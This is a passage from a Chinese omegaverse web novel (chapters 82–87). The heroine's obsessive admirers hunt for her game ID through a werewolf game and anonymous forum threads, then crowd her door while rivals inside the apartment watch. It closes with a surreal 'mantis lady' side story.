萧探尘发现并回复此条消息,并询问她有什么事情。
八点十九分。
萧探尘安静等待两分钟后,望着没有回复的聊天框,决定拨打她的电话。
连续拨打两回电话,无人接听。
八点二十分。
他拨通下属的电话,要求其立即查看她住所附近的监控。
并即刻下楼,开车向她的住所驶去。
五公里的路程,阴沉的雷雨天气。
玻璃上不断刷新乌黑的雨水,击打声沉甸甸的响彻在他脑海里。
她还是没有回复他消息。
风驰电掣,一辆车穿过空荡荡的街头,车里的温度与外面相差无几,阴冷而沉默。
直到男人的汇报声打破安静“今日早上八点十分的时候,一个男人出现在那个女孩门口,然后她开门放他进去了,直到现在也没出来……”
萧探尘保持着冷静,心想这次过后他应该住得离她近一点,以免下次发生危险他能第一时间赶到。
八点二十三分,萧探尘到达下车,并检视下属传送给他的监控画面。
八点二十五分,他乘坐电梯,按响门铃。
十三秒后,门开,她站在门后,只露出小半个身子,肩上散落着微卷的发丝,些许凌乱,有些顺着脖颈没入衣服里。
惊讶的语气,话还没说完就停顿下来,侧了侧脸,似乎身后的某个东西更加吸引她的注意力,“您怎么……”
萧探尘闻到她身上带着很淡的血腥味,像是与流血带伤的人接触过久而染上的,这种血味中带参杂着一股奇怪的味道,像是omega信息素的气息,又像是街道上卖的劣质信息素仿制品。
他的目光冷淡而平稳,并不冒进,只是随着她开门的缝隙,向她身后探去。
一个面色苍白的少年站在她身后,脖颈上卷着绷带纱布,手法看上去并不专业,穿着一件长及脚踝的长裙。
萧探尘把这张脸和监控摄像头拍到的淋湿的、脖子出血的身影对上号,他的耳机里正好传来下属的身份调查结果。
叶曦,男性omega,近几日离家出走的叶家子孙,在警察局备过案,但很快撤销,家族似乎放弃寻找,其母亲在他出走第三日远赴海外拍戏。
那股萦绕不绝的气味就是他身上的吗?Alpha出色的嗅觉此时成了显著的缺点,萧探尘忍耐着这股味道,控制不让眉心狠狠皱起。
那个少年与他对视几秒,若无其事的把视线移到她的脸上,好奇的轻声问他是谁。
是警察。她回头小声快速的说了声。
继续把疑惑的目光转到他身上,把门开大了点。
“有什么事情吗——”她嘴里犹豫几秒才喊出称呼,“萧叔叔?”
萧探尘冷静地说,眼珠在她气味沾染最重的几个身体部位上移动。
“在十四分钟前,你给我发了消息,而在我回复后,却始终没有再次收到你的消息,拨打电话也处于无人接听的状态。”
她极轻的“阿”了一声,像是无意识的以此回复,睫羽快速眨动,黝黑的眼瞳颤动、飘忽不定,似乎对此感到无措、心虚、慌乱。
叶曦拉住她的衣袖,只在她身后露出一半身躯,为她解释,又替她道歉。
“那个时候正好我来她家了,我和卿卿聊天的时候,情绪并不是很好,她担心我,并没有注意到外界的消息。真是抱歉啊,警察叔叔,麻烦您过来这一趟,主要还是我的原因。”
她有些意外瞥了眼叶曦,张嘴似乎要跟着他说不好意思。
萧探尘冷眼看他,觉得他的天赋与制霸纵横娱乐圈的母亲不分伯仲,或许还要胜之一二。
他并没有让她有机会说出道歉之类生疏的话语,对少年的解释与抱歉也持忽视的态度。
只是接着思路继续道:“想起上次的事情,我很担心你的安危,于是我决定亲自过来一趟。”
女孩神色顿住了,唇瓣微张。
萧探尘觉得很大可能她又要说道谢之类的话,他并不想听这些。
他刻意上扬唇角,缓和冷肃点气氛,垂眸注视着她:“说了这么多,不请进去我喝杯水吗?”
叶曦跟着女孩退了两步让开位置让男人进去。
他的手在动作变换中从她的衣袖上落了下来,孤零零的垂在腿侧。
“不过去吗?”前方的男人偏头瞥了他一眼。
想跟着她到厨房倒水的叶曦停住脚步。
云卿扭头看他,也要他坐过去,不必跟着自己。
都是客人,她这个主人倒水就行了。沉静的黑色眼眸里流露的意思再清楚不过。
都是客人,叶曦是客人,萧探尘也是客人。
叶曦并不违背她的意思。
作为客人的他,脸色平静地坐在沙发上。
第83章 找到那个“狼人”
【你进来了吗?】
【卿卿,你游戏里id是哪个呀?】
【我这局身份是狼,你是那个一直没说话的五号吗?我怕误杀到你】
【观战人数好多,你想把观战模式取消吗】
【你是七号吗?】
【六号、八号话真多,看上去不像好人,一直带节奏来着,要不我们先把他们两个投出去吧】
【云卿,如果你是狼的话,可以杀我,我是神职】
……
狼人O游戏内。
设置的是十二人局,四个狼人,四个平民,还有预言家、女巫、猎人、守卫。
此外,这个游戏开放性强,允许观战,允许打赏,如果观战人数多、打赏激烈的话,会被推上首页,游戏参与者会获得一定奖励与勋章。
在八点八分的时候,一条游戏链接被分享,不出十秒,十二位游戏参与人数满员,观战人数飞增,还有很多不是通过分享链接的渠道进去,而是找人打听到游戏房间号搜索进入,成为一个个飞涨的数字。
无数双眼睛盯着游戏里的ID。
一号天空风景图头像,ID为【A】
三号二次元动漫冷酷帅气男头,ID反差【小鱼没有水】
四号大眼狸花猫头像,ID为【Puffyclouds】
六号水彩植物头像,ID为【相思叶】
七号治愈系动漫女头,ID像颜文字【YzY】
八号蜡笔小新里小白狗头像,ID为【小白】
十号真人俊美男头像,ID【无望】
十一号抽象表情包卖萌图,ID【咿呀——到我啦!】
二号、五号、九号、十二号都是系统头像,随机数字系统ID。
游戏开始抽取任务卡,有人礼貌性的打招呼。
“Hello,你们好。”三号声音为男,清冽活泼。
“你好。”六号首先回应,声音带笑,为女。
“你好你好。”八号声线压低,明快又好听,为男。
四号、七号、十一号,都选择打字招呼,其余人默不作声。
观战弹幕跳动。
【早上好,早上好】
【预演一波,三号、六号、八号、十号最先死】
【八号声音……】
【八号男夹子来的】(此发言涉及人身攻击已被隐藏)
【二、五、九、十二挺神秘的】
很快抽取完角色卡,游戏中一夜过去,先死的人是十号,十号为猎人,被狼人杀死,直接选择带走八号。
【女巫第一晚居然没救人】
【十号头像没选好】
【张扬的人早死是真的】
【八号不应该开麦的,不开麦谁知道他是男的】
【第二晚如果三号没死,要不是狼,要不是女巫自救了】
白天发言,四号跳预言家,指十一号为狼。十一号出局。
【四号跳预言家要不开麦吧……】
【开麦就能确定是好人还是坏人对吧】
【就那么巧,指定了能确定身份的六号出局】
【六号不是她所以随便怎么玩对吧哈哈哈】
【第一局狼人杀就为了确定身份来的】
【问了没回,感觉除三、六、八、十、十一都有可能】
【如果四号不是预言家,只为了单纯把六号排出去的话,四号是的可能性降低】
第二晚,五号死去,没有遗言。
二号跳预言家,指一号为好人,四号是狼。
四号试图狡辩,但很快被投出局。
到了此时,开麦过的仍只有三号、六号、八号。
七号、九号最为沉默、不怎么参与游戏,发言一直过,但奇怪的是,没人对这种行为出声指责。
【五号就去了?别真是她】
【现在可以排除四号了】
【六分之一的概率,我赌是七号】
【这个房间好安静,咋都不说话】
【因为开麦即死】
【到这时候三号,六号没死,是不是已经明狼了】
第三晚,六号死去。
二号发言,指七号为好人。一号跳女巫,指出救下二号,毒死六号。
三号被投走。
【女巫、守卫咋不报身份】
【三号、四号、六号为狼,剩下一个不难找了】
【一号是女巫,第一晚没有用解药救十号,大概率可以排除了】
【五分之一的概率了】
现在还剩一号、二号、七号、九号、十二号五人。
一号女巫没有了解药毒药、二号预言家验出四号为狼,七号为好人,九号、十二号都说自己是平民。
一号分析现在场上只剩下一匹狼,并打字询问要不要开麦,都说一说,打字费时。
二号、九号打字赞同,七号发了个颜文字,十二号沉默,等待夜晚降临。
【五号、七号、十二号,这是不是三选一了?】
【一号也是图穷匕见了】
【一个个都装模作样呢,装的又不像】
【其实开麦赞同的也没有排除嫌疑啊,感觉如果是游戏的话,她对待起来也挺认真的……】
【大概率三分之一了,可惜五号没得太快,如果真是五号就搞笑了】
第四晚,二号死亡。
剩下一号、七号、九号、十二号。
其中一号、七号盖棺定论为好人,九号、十二号一人为狼,一人为平民。
一号要求他们开麦辩解。
九号打字说,麦没声。
十二打字说,周围环境太吵,开麦不便。
于是一号问七号投谁。
七号不语,把选择权交给一号。
【真感觉是七号了】
【一号就不怕投错人?】
【九号、十二号都感觉是借口来着,如果是她大概率会开麦吧】
【五号、七号二选一】
【七号头像像是她会用的】
【本来我想的是一号,一号头像直接撞了,但后面可以说是一下子排除了】
一号、七号投十二号,九号和十二号互投,十二号出局,好人获胜。
【好了,狼人已经知道了,但她游戏里id是哪个呢】
【七号百分之七十,五号、九号各占百分之十三,十二号百分之四】
十二个狼人O游戏玩家,为找出游戏邀请者,在沉默中,开启下一局。
观战人数一直在涨,弹幕推测越来越多——
作者有话说:就纯玩吧……其实卿卿根本没进去……她忘了这茬。
我流狼人杀,没什么专业术语。毕竟里面没人是真想玩游戏的,找狼人,找狼人,其实真正想找的只有一个人。
第84章 论坛体【无她之境】
【李涛,十二个人里到底谁是她】(hot)
1L(楼主):首先,可以从开麦说话的声音,可以直接排除三号、六号、八号。从头像可以排除十号(真人男头)和十一号(抽象表情包,和她风格不搭)。
然后,一号、二号、四号、五号、七号、九号、十二号,我们一个个看。
一号身份女巫,第一晚选择见死不救十号(已知十号头像是个骚包帅哥),第二晚见死不救五号,第三晚毒死六号(六号开过麦,听声不是她),白天毫不犹豫投走三号(三号已知性别为男),此后一直带节奏,并要求开麦说话。四重证据排除一号。
二号身份预言家,第一天不报身份,冷眼看四号跳预言家,并跟其投走十一号(十一号头像ID跟她风格迥异)。第二天起跳预言家,发一号金水,查杀四号。第三天跟风投三号,并赞同一号开麦建议。「这里二号根据第一天四号毫无理由投走十一号的行为,看出其作风不像她,所以果断次日对跳预言家投走四号」,两重证据排除二号。
四号身份狼人,第一天抢预言家身份干掉十一号「注意,在游戏开始前,三号、六号、八号、十号、十一号已经通过语音头像等确定不是她,而其中三号、六号是狼人,十号第一晚被杀,八号被猎人十号带走,所以,十一号是唯一一个能确定身份(不是她)的非狼人」,因此排除四号。
五号守卫,第二晚守卫四号预言家,四号真实身份狼人,五号死亡。此人存活时间太短,系统头像系统ID,加上完全不发言——似乎根本没办法排除ta的嫌疑。可是狼三、四、六、十二,达成一致选择第二晚就杀ta,很有可能其中一狼发了私聊,或使用其他手段确认了身份。五号可以排除。
七号平民,从头到尾行为都很正常,像是认真玩游戏,作风更是和她像了个十成十,可是,我们来返回一下,看到七号的头像和ID,治愈动漫女头也像是她会用的头像对不对,但加上ID就不一般了,ID是YzY,可爱的颜文字,再把这个颜文字转换一下呢?YzY——YZY——像不像某人的姓名首字母——鱼竹雨,再次看到头像,动漫女头,栗色锁骨发,黑框眼镜,嘴角笑盈盈……像不像真人啊?!证据确凿,七号排除。
九号平民,九号跟七号一样话少沉默,跟五号一样系统头像系统ID,在被要求开麦时,说麦没声(说实话,这个借口真挑不出错),在最后一天选择中,被一号、七号信任,七号跟十二号互投。九号很难排除,但是之前忽略了一个细节,在第三天时,一号询问要不要开麦,九号是在二号后,第二个表示赞同的!几分钟后就说麦没声,行为矛盾,表现可疑。九号排除。
十二号狼人,十二号在最后一日前都挑不出错,可被最后一个细节暴露出来了,ta面对一号要求开麦辩解的言辞,选择「周围环境太吵,开麦不便」的言语。姑且认为这是真的,就是真的才能把ta排除出去!早上八点,又在天气不好,居民外出艰难的情况下,说周围环境太吵?她好像一直都是一个人居住的吧!怎么可能吵?因此排除十二号。
由此总结,我得出了一个最不可能也是最可能的答案,她根本就不在那十二个人里面!!!
2L:我去,醍醐灌顶。
3L:我去,恍然大悟。
4L:我去,如梦初醒。
5L:我去,车到山前必有路。
……
14L(楼主):在她发完链接的三十秒里,位置就已经被那些个混蛋给占满了,很大可能就是这样她才没能进去![哈哈大笑][哈哈大笑]
15L:哈哈哈哈哈哈哈哈哈我快乐了
16L:啊啊啊心理委员我好得劲心理委员我好得劲我一点都不忌恨那十二个人了哈哈哈哈哈原来根本没和她一起玩游戏哈哈哈哈
17L:活该!!谁让他们一个个的手速那么快的
18L:笑死我了,那个傻X还跟我炫耀呢,结果根本不是和她一起玩得游戏啊
……
34L:LZ能分析出七号是谁,怎么不把其余几个开一下?
35L:楼主这推理能力牛啊,第一局看了十几遍吧
36L:!!!完了我是一直观战的,真把七号认成她了
37L:七号冷淡,不主动主导局势的样子总感觉有点特意模仿的意思……话说yzy平时根本不是这样的作风吧
38L:有没有一种可能,在游戏途中,yzy就意识到她没在里面了,也不退出去,纯把其他人当猴耍。
……
42L:回复38L,你以为其他人就没有意识到吗?别人不说,一号自从第一局后就疑似挂机状态,或是系统接管来着……
43L:LZ满足一下孩子好奇心吧,求求其他十一个纯玩的人都是谁
44L:难受了一整天,看到这条帖子我将感谢所有人哈哈哈
45L:妙手回春,药到病除啊LZ大夫,心病好一半了,剩下一半是想拥有她wx……
46L:谁不想?
47L:谁不想?
48L:谁不想?
……
67L:看到楼里抱怨网速和手速的人,我想说你们都不知福,晚一步,步步晚,等我认识她的时候,她都不加人了……[哭泣][哭泣]
68L:哈哈哈哈别哭了哈哈哈哈算了你继续哭吧,我有我有我有哈哈哈哈哈
69L:楼上有了不起吗?是记得住你的名字还是能把你名字长相能对上号啊,路人甲一个,可能连备注都没备注吧[白眼]
70L:哈哈哈哈不需要备注,我微信头像是我正脸照,昵称是我真名哈哈哈哈哈,我上次学校里打招呼她还跟我点头了哈哈哈哈哈
71L:68和70就是腆着脸求爷爷告奶奶要到联系方式的那个傻比吧,有种报地址。
……
81L:翻了这么久,没人解码其他十一位吗?
82L:……其实有些人猜到了吧,只是没说,看看lz报一个名都消失多久了
83L:靠!反正是匿名论坛,我就说我能确定的,一号太明显了!这人头像和ID改都不改,一摸一样躺在老子列表里,就是那个顶着一头金发,天天凑到她眼前傻乐那个萧晏昀!
84L:手速挺快啊,早上起来什么都不做,就盯着她的消息看是吧,顺位第一,第一个进去的,结果到头来她还没在里面,哈哈哈
85L:十号骚包男,真用的他自己的真人头像,学校里的,一对比就知道。
86L:其实听声音,三号也可以确定,声音挺独特的,耳熟的程度让我怀疑他是不是做过声优来着。
87L:六号、八号看ID,听声音两者结合就能猜出来吧,我反正秒解
88L:[耳朵][耳朵]
……
96L:六号,相思叶——XSY——宿斯漾,八号,小白——白罗翊。
97L:好人一生平安!
98L:四号和十一号呢,有头像和ID的就剩他俩了。
99L:[耳朵]
————————————————此贴涉及版规第十五条,已被删除——————————————————
第85章 论坛体【借刀杀人】
【你们猜一猜她现在跟谁在一起?】(hot)
1L
天空可以是暖白色:。
2L:?
3L:咋了
4L:她不是还在游戏里吗
5L:对啊游戏不是还没结束吗?
6L:前面两个2G网翻翻隔壁贴
7L:蹲蹲
8L:lz咋留下一行神秘文字就消失了……
24L:这大暴雨她还能跟谁在一起,出不了门吧
25L:她不会出门,但别人会进去啊
26L:前面的谁问你了?[白眼]
27L:谁问了?有人在意吗?到底谁在意了?好吧我在意啊啊啊啊
31L:什么时候人才会知道,造谣是要负法律责任的?
32L:我服了
33L:lz你是不是被盗号了,你以前不是谜语人的啊,咋没有解释说明
34L:我真是操了能不能不要吊别人胃口了,是假的你死了是真的你四千加。
……
50L:窗外瓢泼大雨,惊雷滚滚,屋内唯有你我二人……啊好有氛围感啊
51L:嗯……如果是这个环境的话,可惜现在天色还不够昏暗啊
52L:还等几小时,到晚上最好有月亮,那时候最美,你们想啊,当月光穿透层层乌云,撒在房间里犹如一盆清水该多美啊……
53L:前面这几楼怎么了?我怎么看不懂
54L:乱入吗??
55L:我看了最新公布的天气预报,晚上百分之九十九下暴雨,并且不会出现月亮。所以最好改一改,换成雨滴声吧。
56L:啊啊啊老大我们这样装疯卖傻真的能获得幸福吗?
57L:其实就着暴雨入眠很爽的,你们不觉得吗?特别是深夜里,窗帘没拉紧,轰隆雷声一响,在此之前,闪亮的白光就会穿过玻璃打在脸上,把整个人都照亮,湿濡的汗水和酾红的脸颊,还有眼睛里细微的光晕,都照的清清楚楚……
58L:???
59L:我怎么越来越看不懂这个贴的走向了?
60L:啊啊啊啊楼里有个老吃家
61L:吃你大爷啊我去,这不是造谣吗?已举报不谢。
81L:噢噢我懂了,lz是现开一个梦贴是吧
82L:看看下面都有人附和你了楼主快回
……
91L:哈哈哈哈哈好好笑这群人,因为不敢面对现实直接把这贴当成楼主梦贴吗哈哈哈哈
105L:你们知道最细思极恐的是什么吗?整栋楼里居然大多数都没反驳这个时候有人跟她在一起这个事情……
106L:细思极恐啊细思极恐。
107L:有没有一种可能,是没有人相信呢?毕竟趁人之危浑水摸鱼的见人应该也是少数派吧[微笑]
111L:啊啊啊啊啊lz魂兮归来魂兮归来
112L:我服了!楼里大家不要自己骗自己了好吗?还没确定呢万一楼主是造谣呢?什么证据都还没摆出来就先屈服了,没见过像你们一样这么没骨气的人。
113L:哈哈没骨气,对我就是没骨气,我宁愿她骗我一辈子[哭泣]
116L:不是我们大家想信,楼上可以搜lz发帖名看看以往发帖的战绩……
117L:这人以往无一败绩,不是真确定不会发的[呕吐][痛苦]
118L:如果连lz都破防了,不敢想象这将对那群梦男梦女造成多大的伤害。
132L:真他大爷草了,不就一个beta吗?她自己不保护好自己,随随便便跟别人在一起玩,难道还要求我们在她受欺负的时候为她冲锋陷阵吗?[此跟帖已被楼主删除]
133L:城市里路都封多少条了,一个beta就那么亲信他人,出了什么问题也是活该。[此跟帖已被楼主删除]
134L:你是不是有病啊四件货
135L:??这么恶毒的话你是怎么说出口的
136L:臭傻叉,你算哪根葱也敢这么说她给老子等着
137L:上面一楼已解码,鉴定为Alpha,搜索过往论坛记录,此人不放过任何一条梦向贴,并在段落文章中留下不少痕迹,多为“衮”、“就那么一直幻想下去吧”、“现实中你难道得到过她的注视吗”、“你们只配做梦”、“诚实的告诉我她看过你一眼没”等等奚落嘲讽言辞。
两月前,曾发布一条帖子,标题为【第一眼看到的是我不是你】,主贴内容为一个微笑表情。就在一月以前,此人语气奇差地窜于各个有关于她的帖子中,疑似因不满痛苦现实而在网络大放厥词拳打脚踢,总结:此人不知何缘由破防,成为了因爱生更爱,内爱外恨的辱追。
现在我想问这位不知名破防者一个简单的问题“现实中,你难道真正地得到过她的注视吗?”[偷笑]
138L:这个时候我们就不得不佩服网友的速度了。
139L:呵呵符合我对alpha的刻板印象了,一群根本就不懂得爱,也完全不懂得爱人的家伙。
145L:……它一人行为凭什么要所有alpha背锅,我们A也是有正常人的啊,比如我。
146L:丢光alpha的脸了……
147L:没想到有一天我竟然会为自己性别感到自卑……
156L:啊啊啊求你们别转移话题,别带偏帖子走向啊,看lz都删跟帖了,能不能出来一下,把整件事情解释清楚啊啊
160L:哈哈,信这件事的没动,不信的没动,怀疑的已经在用各种手段调查了。
165L:看到这贴,下楼就遇到熟人
171L:其实她住的那栋楼里,近几个月住户绝大部分都成我们校友了——我也是哦,昨天还在电梯里碰见她了。
172L:我操,谁问这个了?
173L:想着好久见不到,本来心情就不是很好,看到这个现在更不好了……
180L:用望远镜望那栋楼,可惜因为窗帘挡住看不清。
181L:看不清是正常的,就算没有窗帘也看不清,因为玻璃是防窥的[冷笑]
182L:防的就是楼上这种死变态
183L:幸好是防窥玻璃,如果玻璃能被外面看见那不敢想造望远镜的公司股价会不会飞涨。
184L:地狱笑话并不好笑。
……
200L:只有我还在等最终结果吗?
201L:还有我
202L:我也在等
232L:有行动力的人其实已经出发去确认了。
234L:已在电梯,没回来就是破防了。
————
没人想到会偶遇。
或者有人想到了,但没想到这么多。
电梯停停走走,进来几个熟面孔。
明面上点头微笑打招呼,暗地里撇嘴翻白眼无语。
有人提议:“我们要不只派一个人去观察情况吧。”
没人理他。
好不容易有这么个光明正大的机会谁都不想错过。
而且,只派一个人的话,若那人回来传虚假消息怎么办?
特意洗了澡,喷了香水的;挑挑选选十几套衣服终于满意的;偷偷化了个伪素颜妆的……
你走我挤,偏生谁都不想落到最后一个。
可到了门口,反而迟疑了。
谁去敲门?
面面相觑,几个人堆在门口,没人敢上前,像是门里有一头吃人的凶兽似的。
“等等,我们以什么借口来敲门?”
有人恍若梦中惊醒,突然提起一个他自认为要紧的问题。
其他人像是看傻子一般看他。
这人才想起这个?
“看论坛,那贴的楼主发了好几个,关于合适的借口说辞。”
“哦哦。”那人点点头,又不确定地问道,“这贴主不会把我们当枪使吧。”
安静。
那人犹疑地瞥了其他人几眼。
“不愿意就走。”有人直截了当地催促。
是的,当枪使,几乎是明牌了,就把枪放在地上,看你拿不拿,不是阴谋是阳谋。
可怎么能不拿呢?
多好一个接触见面的机会,如果幸运的话,这回说不定就能进她家的门。
没有人想错过。
即使聪明人看到第一时间反应过来,第二时间就是搭配衣服,检查自己面色容貌,然后整理细节,迫不及待去见面了。
空间中是人的深呼吸的声音。
墙门很隔音,站在门口,即使是alpha的耳力也很难听出里头传来的声音。
于是终于有人按耐不住按响门铃。
——门把手下压的开门声,那一线小缝慢慢扩大,缓缓露出一张让人魂牵梦绕的面容来——
作者有话说:
第86章 “还有第二个!”
“叮咚。”门铃响了一声。
这种时候又会是谁来找我呢?
虽然心中有疑惑,但为了逃避这种尴尬局促的环境,我几乎是迫不及待的站起身。
想着屋内还有人在,我也就没有事先先在摄像头上望一眼。
于是猝不及防间,我与来者们面面相觑。
至少5个人,拥挤在一团,像是在争夺某种旗帜一般身躯向前,他们年轻的脸上流露出某种冲动激昂的神情。
被十几双眼睛紧紧锁住,在那样凝滞的气氛下,即使面对的是一群衣着干净整洁、面容漂亮俊俏的年轻人,即使他们没有做出任何不礼貌的威胁性的举动,我也凭借着身体本能向后退了一步。
他们是不是敲错门了?
我扶着门把,等待陌生人开口的间隙,微微侧头看了屋内人一眼。
“你好。”一个样貌俊朗的男生手肘轻微向后移动,同时脚步控制不住似的向前,胸前黑色领带因为身躯的偏移而尾部悬空。
其他几人不甘示弱,就像争夺业绩一般,争先恐后地开口。
“你好。”“你好。”“你好。”……
呃——
我慢慢开口:“你们、好?”
这是来家门口推销的?销售什么东西要这么多人,还专门派一些长得好的人上来。
门外有股很浅淡的香水味,其中一位的头发顺滑的像是刚做完护理,衣服更是连一丝褶皱也看不见。
这群年轻销售虽然长得不错,打扮也不错,但看上去有点钝钝笨笨的。
他们与一般销售的热情开场简直是反其道而行之,目光虽聚集在我身上,但同时问好后留下了接近十几秒的空白。
我的目光下移,想看看他们手上或是地上有没有摆上什么产品。
空无一物。
诶?没有实物,难道是像网上那种说上门做免费服务结果最后要收钱的骗子一样?
我提高警惕,并且随时准备拒绝然后关门。
“我是楼里的邻居,刚才风太大了,担心整栋楼高层住户的阳台花盆、窗户有没有关好,怕掉下去砸到人……”
“我在业主群里看到有人说地下车库有积水倒灌的迹象,物业一时赶不过来。想通知一下……”
“家里突然停电,想问问你家情况是否正常?如果也停了……”
有无数张嘴在说话,我茫然的视线在一张又一张脸上穿梭,最终导致的结果是一句话也听不清楚。
这样混乱的状况自然引起了屋内人的关注。
叶曦早在她站起身时就放弃了与萧探尘的针锋相对,专注的目光跟随着她,在她打开门的一刹那,属于Omega或是Alpha的气息从罅隙中渗进来,与屋内的空气混合,自动流进他的鼻腔中。剜去腺体后,即便在唯一的乐土,那股令人作呕的气息仍然挥之不去。
他听着门口犹如菜市场牲畜们的嘈杂声音,面无表情地站了起来。
当他走到她身边的时候,声音突然停住了,猪狗牛羊一同聚集的市场陡然宣布了休市,城管猛然出现在没有正规经营证的小摊贩面前。
叶曦站立在她身侧,冷冷扫过这群不请自来的人。
很快,收敛神色,眼睑微垂,贴近她耳边,以一种特意压低但在场人仔细听就能听得清清楚楚的声音问,要不要他来应付这群陌生人。
这个贱人!
居然真有人藏在她家!!
那群青年恨恨的目光盯着他,恨不得剜去他身上的一块肉。
因为嘈杂的声音而火热的气氛突然变得冷凝。震惊、嫉恨、烦闷的情绪,在这小片空间蔓延开来。而那之后,萧探尘的出现更是让这种情绪达到顶峰。
啊啊见人还不止一个!!!
——
在这群年轻人正因两个贱人而破防的时候,没有人知道另一个房间里有人通过窃听器因一群蠢货无语。
原亦可百思不得其解,不知道为什么有人照着答案抄都能抄错。
明明他在论坛上点清楚了至少两位数合情合理敲门的方法,结果那群蠢货事前竟不统一口径串供,反而一个人一个理由借口。
脑子是被狗吃了吗?!
在前段时间凌吾伤害她的事件过后,他由于太过担心她的安危,才下定决心采用这些偏门左道。
当然,他肯定是不敢直接把这东西放进她家里了,只要有百分之一的可能性被她发现那就完蛋了。
“她附近不是住了好几户我们的同学吗?总有用得上他们的时候。”
鱼竹鱼漫不经心地翻过一页书,随口说道。
于是广撒网式窃听器被放下,配上全天式摄像头,今天还真就派上了用场。
只是——蠢货果然是蠢货,原亦可已经能预料到那群人被叶曦和萧探尘三言两语拒之门外,并且以不安全为由继续呆在她家的场景了。
*
如果听到被骂蠢货,这名路人A一定会觉得很无辜并据理力争地为自己辩解——当然,如果是被她骂就另当别论了。
在敲门之前,他的心情极度紧张,串供这件事在脑子里可能转了一下,就在焦虑难耐的情绪中迅速挤跑了。
那可是她的家宅啊!旁人能懂如同三教教徒即将拜访圣城耶路撒冷时那种焦灼期盼的心情吗?就像世界各地的朝圣者为心中的信仰而前往罗马,而他的面前即将站立一位真正的教皇啊!
心脏像是有蚂蚁在轻轻啃噬一样,他的身体紧绷,目不转睛地盯着开门的一幕。
他先注意到的是浓黑的发丝,散在肩上,微卷的发尾打着可爱的旋,然后一股清浅的气息顺着门口涌出,若有若无的化在冷空气中。
下意识的,他深深呼吸,想把独特的气息卷进鼻腔,可吸入的却是身边烦人的庸俗香水和不知哪来的信息素味。
谁这时候发情了?!
一头牲畜都不会随时随地发情!他为没有捉捕到气息而感到恼火,却忘了自己也是被称作发情动物性别中的一种。
他在此之前打了许多腹稿,却在撞进她的眼瞳时忘得一干二净。
啊,她在看他。
雪白的面颊,幽深的眼瞳,她站立在他面前,像是缥缈虚无的雾气有了形体,湿润化开的雨滴结合凝聚,明明只有一日未见,却像是隔了不知多少个岁月。
毕竟在丝珮叶学院,她哪能够把目光如此精确地落到他的身上呢?会有无数坏人反派从中拦截阻止的。
感动般,幸福得他要忘记一切,希望时光永远停留在这一刻,停在她看向他的这一秒里。
不需要肢体交接,不需要情感相通,只要能获取到你的注视,我就会升起无边无际的幸福浪潮啊。
在汹涌的情绪波涛中,他只能凭着本能张合嘴唇发出声音,目光一刻也舍不得离开。
他曾不解于一路膝行朝圣忏悔赎罪或表达信仰感恩之人,可此刻,他对上她的双瞳,若是她肯施舍一般对他弯弯唇,想必他的双腿立时就会软下来。
昂扬的情绪冲昏大脑,直到有其他人从她的身后出现。
一个Omega,一个Alpha,两个贱人。
他像一个无能的丈夫,目眦欲裂,还要调整面部表情,警惕不要被她注意到。
贱人!贱人!!贱人!!!——
作者有话说:别笑,你也过不了第二关
第87章 番外8螳螂小姐(微变态/慎)
《螳螂——你爱我就请把我吃掉吧》
“如果你是真的爱我,就请把我吃掉吧。”
当灰色的狂雨铺洒大地的时候,当浑浊的泥土在山坡顺流而下的时候,当锋利的岩石撞击得四分五裂的时候,没有人会知道在雨后,这一片无人踏足的禁绝之地上,会生出一个神妙的生灵。
她踩着从宽大叶片中渗出的阳光,赤裸着足,踏出这片弥漫着不详气息的土地。
浅绿色的薄薄纱裙擦过带有细刺的绿叶与交叉密布的褐色枝干,铺陈在脊背上像是吸尽了周围一切黑色的秀发顺着走动的频率而微微颤抖。
走过之路绿叶垂落、树枝倒下,绸缎般的黑发不染一丝尘埃。
秀丽纤长的双手以一种祈祷的姿势而举在胸前,她微垂着眼睑,形状姣好的唇抿着,修长紧致的颈项宛如湖中的天鹅,那股虔诚而又神圣的姿态让人毫不怀疑她或许就是上天派下凡间拯救世人的使者,是天眷之子,是圣母玛利亚的传人。
走动时不发出一点声音,姿态优雅,步伐轻快,迎面微风,衣裙翩翩,她的身后宛如生长出两扇半透明的青色薄翼。
——而这,是记录在摄像机中的画面。
当摄像机尽职尽责地将画面传送时,屏幕前的男人正在以一种让人无法想象的痴迷态度持续观看,短短几分钟的画面,无数次倒转,暂停,截取图片。
画面中的小姐如今走到哪里了?有没有遇到猛兽的袭击与饥饿的困扰?会不会因自然环境的恶劣而损伤到身体?
木屋中来回踱步,铺天盖地的焦灼与忧虑压倒了理智,他告诉前线那位痴迷于自然探索的友人,请求他注意一位可能迷失在森林女士的行踪,同时在通知救援队后,自己收拾好行囊出发来寻找她。
收到消息时,探险家友人正坐在一棵老树的枝干上。
枝桠密布,晃晃悠悠,顺着那一股穿过潮湿泥地的风摇荡着,满眼棕褐与碧绿的交织。
卡其色工装裤颜色渐深,双手攀着粗粝的树皮,正准备往下跳。
——耳边的风声停住了。
摩挲的叶片静止在这一时刻,丛林久久萦绕的潮湿气息被另一种气息冲蚀,灰白的砾石停止滚动。
在阳光都难以穿过绿叶而照进来的深暗的小天地里,他透过层层叠叠的绿叶枝条,撞见一双黑色的眼瞳。
一双直勾勾的眼瞳,没有任何细微的移动,却比这片丛林的雨季更为潮湿。
荡漾着的浅绿色的纱裙比任何植物都更具生机,盎然得像是汲取了无数生命力而活了起来。
举在胸前的双手如同行走世间的虔诚修女。
这是幻境还是现实?探险家一动不动,深橄榄的工装夹克下是紧绷隆起的贲发的肌肉,宽阔的肩背到脖颈都是充满力量感的线条,但他面对一个纤瘦纯净的少女却如同小巧的鸟类撞见毒蛇一样浑身颤栗无法动弹。
无尽的探索欲和好奇心组成了一个青年探险家的前半生,来此之前,他不过以为又是一桩如同此前数百次探险中的寻常之旅。
可现在,虬结的肌肉如同皲裂的树皮一样毫无作用,能够和猎豹搏斗的身躯不再听从使唤,能够从高空跳下的勇气消失得无影无踪。
在激烈的心跳与急促的呼吸之间,在一片空白沟壑遍布的大脑里,在皮肉之下沸腾的血液中,他感觉到那从出生之时就伴随着他的来自血脉中的呼唤。
祖辈们探寻了千千万万年的基因,延续到如今的血液里,不断探索的行为因无穷无止的不安而引发,蓬勃的好奇欲望最终终结在此刻,在距离五尺间的一个人身上。
——要……
走近一点,再走近一点。
靠近我吧,接受我吧,吃……
悬在胸前的手臂伸展,划出一个优美的弧度,几不可闻的咔嚓声过后,枝叶纷纷坠落,她向他靠近。
眼前的景象变得抽象,如同水墨晕染的画卷,再次清醒时他已经双脚站在了地上。
